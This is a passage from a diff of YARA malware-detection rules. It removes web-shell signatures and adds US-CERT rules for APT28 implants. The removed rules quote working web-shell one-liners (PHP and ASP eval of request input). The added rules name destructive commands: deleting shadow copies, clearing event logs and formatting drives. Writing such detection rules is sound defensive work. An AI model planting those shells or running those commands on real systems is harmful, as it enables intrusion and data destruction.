-		logic_hash = "2a85301f1d6e4c457ff0a1b2a08eb6f054905993a0667087f37b9a7352e38911"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L444-L464"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0a658888dcc7b7f4620f08449c6ec492756750e64f15b048f7cdee7de4fc0479"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s7 = "<% For Each Vars In Request.ServerVariables %>" fullword
-		$s9 = "Variable Name</B></font></p>" fullword
+		$base_key_moved = {C7 45 ?? 3B C6 73 0F C7 45 ?? 8B 07 85 C0 C7 45 ?? 74
+         02 FF D0 C7 45 ?? 83 C7 04 3B C7 45 ?? FE 72 F1 5F C7 45 ?? 5E C3 8B
+         FF C7 45 ?? 56 B8 D8 78 C7 45 ?? 75 07 50 E8 C7 45 ?? B1 D1 FF FF C7
+         45 ?? 59 5D C3 8B C7 45 ?? FF 55 8B EC C7 45 ?? 83 EC 10 A1 66 C7 45
+         ?? 33 35}
+		$base_key_b_array = {3B C6 73 0F 8B 07 85 C0 74 02 FF D0 83 C7 04 3B FE
+         72 F1 5F 5E C3 8B FF 56 B8 D8 78 75 07 50 E8 B1 D1 FF FF 59 5D C3 8B
+         FF 55 8B EC 83 EC 10 A1 33 35 }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Caidao_Shell_Ice_2
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_3_V3 : FILE
 {
 	meta:
-		description = "Web Shell - file ice.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L449-L462"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1d6335247f58e0a5b03e17977888f5f2"
-		logic_hash = "57c3c369abd826d676290300d8df2d890b777fa1f0e1156654062159a4228db7"
-		score = 70
+		description = "X-Agent/CHOPSTICK Implant by APT28"
+		author = "US CERT"
+		id = "ce82511e-715a-53cb-98e5-5d51b94726d5"
+		date = "2017-02-10"
+		modified = "2021-03-15"
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L466-L485"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "313f837b90bcf09455427e4411acb5406f4dae9d69373d8d2c0cfc014e27ee96"
+		score = 65
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "<?php ${${eval($_POST[ice])}};?>" fullword
+		$STR1 = ".?AVAgentKernel@@"
+		$STR2 = ".?AVIAgentModule@@"
+		$STR3 = "AgentKernel"
+		$fp1 = "Panda Security S.L." wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and 1 of ($STR*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Webshell_Caidao_Shell_Mdb
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_4_V1 : FILE
 {
 	meta:
-		description = "Web Shell - file mdb.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "BlackEnergy / Voodoo Bear Implant by APT28"
+		author = "US CERT"
+		id = "be4d222f-009f-5dde-93da-376626a77263"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L463-L476"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fbf3847acef4844f3a0d04230f6b9ff9"
-		logic_hash = "89f7692acd754992f9379b9b4661a01d6ab95cb85a3c2699928aa5ed3a3ac8c5"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L487-L503"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "51135d9fe62f5fd1fb7ef6c386dcdd86525dd469064662c2314cfee6e952d6ec"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s1 = "<% execute request(\"ice\")%>a " fullword
+		$STR1 = {55 8B EC 81 EC 54 01 00 00 83 65 D4 00 C6 45 D8 61 C6 45 D9 64
+         C6 45 DA 76 C6 45 DB 61 C6 45 DC 70 C6 45 DD 69 C6 45 DE 33 C6 45 DF
+         32 C6 45 E0 2EE9 ?? ?? ?? ??}
+		$STR2 = {C7 45 EC 5A 00 00 00 C7 45 E0
+            46 00 00 00 C7 45 E8 5A 00 00 00 C7 45 E4 46 00 00 00}
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and 1 of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Guige
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_4_V2 : FILE
 {
 	meta:
-		description = "Web Shell - file guige.jsp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "BlackEnergy / Voodoo Bear Implant by APT28"
+		author = "US CERT"
+		id = "2edaeb08-19bc-5ab4-bc75-40c16ba85d9f"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L477-L490"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2c9f2dafa06332957127e2c713aacdd2"
-		logic_hash = "9d71095b5c709dfdd8b5fcebcaa4493d9c93e841e85cda2e2255e0c15ea83659"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L505-L520"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dd4edd238cdc3d376c1d5bcea6c8df57f4ef03369c0ca22107241812e0a1bb94"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "if(damapath!=null &&!damapath.equals(\"\")&&content!=null"
+		$BUILD_USER32 = {75 73 65 72 ?? ?? ?? 33 32 2E 64}
+		$BUILD_ADVAPI32 = {61 64 76 61 ?? ?? ?? 70 69 33 32}
+		$CONSTANT = {26 80 AC C8}
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Phpspy2010
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_4_V3_Alternativerule : HIGHVOL FILE
 {
 	meta:
-		description = "Web Shell - file phpspy2010.php"
+		description = "Detects a group of different malware samples"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "47e9028b-7718-5372-8a1a-94c208c29ed4"
+		date = "2017-02-12"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L491-L506"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "14ae0e4f5349924a5047fed9f3b105c5"
-		logic_hash = "b3acef196b30cf9afe24c81860bedff69fc5652c514aa36aba85d16b12bcc432"
-		score = 70
+		reference = "US CERT Grizzly Steppe Report"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L788-L803"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "35468f7699b96fcaaaa032eef7dae34ec314e9c652f9f8b2e8ca7343fb5cec50"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "HIGHVOL, FILE"
+		comment = "Alternative rule - not based on the original samples but samples on which the original rule matched"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2244fe9c5d038edcb5406b45361613cf3909c491e47debef35329060b00c985a"
 
 	strings:
-		$s3 = "eval(gzinflate(base64_decode("
-		$s5 = "//angel" fullword
-		$s8 = "$admin['cookiedomain'] = '';" fullword
+		$op1 = { 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 53 1e 01 00 }
+		$op2 = { 21 da 40 00 00 a0 40 00 08 a0 40 00 b0 70 40 00 }
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and all of them )
 }
-rule SIGNATURE_BASE_Webshell_Asp_Ice
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_4_V4 : FILE
 {
 	meta:
-		description = "Web Shell - file ice.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "BlackEnergy / Voodoo Bear Implant by APT28"
+		author = "US CERT"
+		id = "27a5fb98-fe8b-561c-b490-e04257e7dd1c"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L507-L520"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d141e011a92f48da72728c35f1934a2b"
-		logic_hash = "524419e802d3cb6ac310565af22ec28044984aa4b1b2ee1cfbd292afd071709c"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L807-L822"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "49c912f29f5ffbd90366a510285ef3f06c804af86829808c175c8be519ce01c4"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "D,'PrjknD,J~[,EdnMP[,-4;DS6@#@&VKobx2ldd,'~JhC"
+		$DK_format1 = "/c format %c: /Y /Q" ascii
+		$DK_format2 = "/c format %c: /Y /X /FS:NTFS" ascii
+		$DK_physicaldrive = "PhysicalDrive%d" wide
+		$DK_shutdown = "shutdown /r /t %d"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of ($DK*)
 }
-rule SIGNATURE_BASE_Webshell_Drag_System
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_4_V5 : FILE
 {
 	meta:
-		description = "Web Shell - file system.jsp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "BlackEnergy / Voodoo Bear Implant by APT28"
+		author = "US CERT"
+		id = "d203f3c6-4e86-5632-ad5d-61763ee59bbe"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L521-L534"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "15ae237cf395fb24cf12bff141fb3f7c"
-		logic_hash = "8ea8d9d64521f47f1396e4f4d6c8f4a71fa1a643799ec408e1d2e0f255dc4996"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L824-L838"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9d4233ccf148919d0ad0be726b9dfa9e26a9afcebb7b26fa4db4c3da8c46d13e"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s9 = "String sql = \"SELECT * FROM DBA_TABLES WHERE TABLE_NAME not like '%$%' and num_"
+		$GEN_HASH = {0F BE C9 C1 C0 07 33 C1}
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Darkblade1_3_Asp_Indexx
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_4_V7 : FILE
 {
 	meta:
-		description = "Web Shell - file indexx.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "BlackEnergy / Voodoo Bear Implant by APT28"
+		author = "US CERT"
+		id = "a0dda12a-22b6-53e6-9528-8c178ad871ad"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L535-L548"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b7f46693648f534c2ca78e3f21685707"
-		logic_hash = "57cfe09d53d42ee9d909a3894b8a3362209c1972c7d96ae5fdc61681c2998a89"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L859-L881"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "27ae70d384488660c1f80040503d3eb6541112fd6332edc5820bc6718d76b847"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s3 = "Const strs_toTransform=\"command|Radmin|NTAuThenabled|FilterIp|IISSample|PageCou"
+		$sb1 = {C7 [1-5] 33 32 2E 64 C7 [1-5] 77 73 32 5F 66 C7 [1-5] 6C 6C}
+		$sb2 = {C7 [1-5] 75 73 65 72 C7 [1-5] 33 32 2E 64 66 C7 [1-5] 6C 6C}
+		$sb3 = {C7 [1-5] 61 64 76 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C}
+		$sb4 = {C7 [1-5] 77 69 6E 69 C7 [1-5] 6E 65 74 2E C7 [1-5] 64 6C 6C}
+		$sb5 = {C7 [1-5] 73 68 65 6C C7 [1-5] 6C 33 32 2E C7 [1-5] 64 6C 6C}
+		$sb6 = {C7 [1-5] 70 73 61 70 C7 [1-5] 69 2E 64 6C 66 C7 [1-5] 6C}
+		$sb7 = {C7 [1-5] 6E 65 74 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C}
+		$sb8 = {C7 [1-5] 76 65 72 73 C7 [1-5] 69 6F 6E 2E C7 [1-5] 64 6C 6C}
+		$sb9 = {C7 [1-5] 6F 6C 65 61 C7 [1-5] 75 74 33 32 C7 [1-5] 2E 64 6C 6C}
+		$sb10 = {C7 [1-5] 69 6D 61 67 C7 [1-5] 65 68 6C 70 C7 [1-5] 2E 64 6C 6C}
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and 3 of them
 }
-rule SIGNATURE_BASE_Webshell_Phpshell3
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_4_V8
 {
 	meta:
-		description = "Web Shell - file phpshell3.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "BlackEnergy / Voodoo Bear Implant by APT28"
+		author = "US CERT"
+		id = "1e82d105-8dda-55c9-aec0-8f9f02c3a94e"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L549-L564"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "76117b2ee4a7ac06832d50b2d04070b8"
-		logic_hash = "868b1b69fab3ec6fcfa15557075f313f4af0ec9cd15f41bb9dcc9bc26fc17f93"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L883-L911"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dd072702c59822587d7ede0bc59c5672fbaa9a05595940781554fadb32e109f7"
+		score = 85
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "<input name=\"nounce\" type=\"hidden\" value=\"<?php echo $_SESSION['nounce'];"
-		$s5 = "<p>Username: <input name=\"username\" type=\"text\" value=\"<?php echo $userna"
-		$s7 = "$_SESSION['output'] .= \"cd: could not change to: $new_dir\\n\";" fullword
+		$f1 = {5E 81 EC 04 01 00 00 8B D4 68 04 01 00 00 52 6A 00 FF 57 1C 8B D4
+         33 C9 03 D0 4A 41 3B C8 74 05 80 3A 5C 75 F5 42 81 EC 04 01 00 00 8B
+         DC 52 51 53 68 04 01 00 00 FF 57 20 59 5A 66 C7 04 03 5C 20 56 57 8D
+         3C 03 8B F2 F3 A4 C6 07 00 5F 5E 33 C0 50 68 80 00 00 00 6A 02 50 50
+         68 00 00 00 40 53 FF 57 14 53 8B 4F 4C 8B D6 33 DB 30 1A 42 43 3B D9
+         7C F8 5B 83 EC 04 8B D4 50 6A 00 52 FF 77 4C 8B D6 52 50 FF 57 24 FF
+         57 18}
+		$f2 = {5E 83 EC 1C 8B 45 08 8B 4D 08 03 48 3C 89 4D E4 89 75 EC 8B 45 08
+         2B 45 10 89 45 E8 33 C0 89 45 F4 8B 55 0C 3B 55 F4 0F 86 98 00 00 00
+         8B 45 EC 8B 4D F4 03 48 04 89 4D F4 8B 55 EC 8B 42 04 83 E8 08 D1 E8
+         89 45 F8 8B 4D EC 83 C1 08 89 4D FC}
+		$f3 = {5F 8B DF 83 C3 60 2B 5F 54 89 5C 24 20 8B 44 24 24 25 00 00 FF FF
+         66 8B 18 66 81 FB 4D 5A 74 07 2D 00 00 01 00 EB EF 8B 48 3C 03 C8 66
+         8B 19 66 81 FB 50 45 75 E0 8B E8 8B F7 83 EC 60 8B FC B9 60 00 00 00
+         F3 A4 83 EF 60 6A 0D 59 E8 88 00 00 00 E2 F9 68 6C 33 32 00 68 73 68
+         65 6C 54 FF 57}
+		$a1 = {83 EC 04 60 E9 1E 01 00 00}
 
 	condition:
-		2 of them
+		$a1 at pe.entry_point or any of ($f*)
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Hsxa
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_4_V9
 {
 	meta:
-		description = "Web Shell - file hsxa.jsp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "BlackEnergy / Voodoo Bear Implant by APT28"
+		author = "US CERT"
+		id = "a404212a-d9ef-54c1-bbf8-a213ec094f18"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L565-L578"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d0e05f9c9b8e0b3fa11f57d9ab800380"
-		logic_hash = "7f79b66d87f638bc09ee576de4dc4a8c5b1da7c406d318eeff7a4221c35d2313"
-		score = 70
-		quality = 85
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L913-L933"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c0e48bf0839965f9bda9cc475aba5b4934c27c426a8fa4423fb24aa9d792e2e4"
+		score = 85
+		quality = 77
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<%@ page language=\"java\" pageEncoding=\"gbk\"%><jsp:directive.page import=\"ja"
+		$a = "wevtutil clear-log" ascii wide nocase
+		$b = "vssadmin delete shadows" ascii wide nocase
+		$c = "AGlobal\\23d1a259-88fa-41df-935f-cae523bab8e6" ascii wide nocase
+		$d = "Global\\07fd3ab3-0724-4cfd-8cc2-60c0e450bb9a" ascii wide nocase
+		$openPhysicalDiskOverwriteWithZeros = { 57 55 33 C9 51 8B C3 99 57 52
+         50 E8 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 83 C4 10 84 C0 75 21 33 C0 89
+         44 24 10 89 44 24 14 6A 01 8B C7 99 8D 4C 24 14 51 52 50 56 FF 15 ??
+         ?? ?? ?? 85 C0 74 0B 83 C3 01 81 FB 00 01 00 00 7C B6 }
+		$f = {83 c4 0c 53 53 6a 03 53 6a 03 68 00 00 00 c0}
 
 	condition:
-		all of them
+		($a and $b) or $c or $d or ($openPhysicalDiskOverwriteWithZeros and $f)
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Utils
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_4_V10 : FILE
 {
 	meta:
-		description = "Web Shell - file utils.jsp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "BlackEnergy / Voodoo Bear Implant by APT28"
+		author = "US CERT"
+		id = "75c266ca-a27f-5ffe-a438-c35bbacfa70c"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L579-L593"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9827ba2e8329075358b8e8a53e20d545"
-		logic_hash = "90a5b64e59306bdffc5a89f5d86a2dc7a17669021d863e2a5ecea13d65c19053"
-		score = 70
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L935-L966"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f22fd45eb77ff1a8202f4bd0d0c43787c8184300e96aff021e13371ae7bd5553"
+		score = 85
+		quality = 81
+		tags = "FILE"
 
 	strings:
-		$s0 = "ResultSet r = c.getMetaData().getTables(null, null, \"%\", t);" fullword
-		$s4 = "String cs = request.getParameter(\"z0\")==null?\"gbk\": request.getParameter(\"z"
+		$ = {A1B05C72}
+		$ = {EB3D0384}
+		$ = {6F45594E}
+		$ = {71815A4E}
+		$ = {D5B03E72}
+		$ = {6B43594E}
+		$ = {F572993D}
+		$ = {665D9DC0}
+		$ = {0BE7A75A}
+		$ = {F37443C5}
+		$ = {A2A474BB}
+		$ = {97DEEC67}
+		$ = {7E0CB078}
+		$ = {9C9678BF}
+		$ = {4A37A149}
+		$ = {8667416B}
+		$ = {0A375BA4}
+		$ = {DC505A8D}
+		$ = {02F1F808}
+		$ = {2C819712}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550 and 15 of them
 }
-rule SIGNATURE_BASE_Webshell_Asp_01
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_4_V11 : FILE
 {
 	meta:
-		description = "Web Shell - file 01.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "BlackEnergy / Voodoo Bear Implant by APT28"
+		author = "US CERT"
+		id = "e5fb0843-20f7-56a0-8eea-0db7cef7f610"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L594-L607"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "61a687b0bea0ef97224c7bd2df118b87"
-		logic_hash = "e057800013a9a8f4c3ecbe4e27c14e904700548e6ad9dc1f00313c7a3de7fd2d"
-		score = 50
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L968-L985"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7bdeddc4334ed6557175b5eefc78d69283d6c91f98970bd0cfe6365b3ab477f4"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "<%eval request(\"pass\")%>" fullword
+		$ = "/c format %c: /Y /X /FS:NTFS"
+		$ = ".exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf" wide
+		$ = ".dll.exe.xml.ttf.nfo.fon.ini.cfg.boot.jar" wide
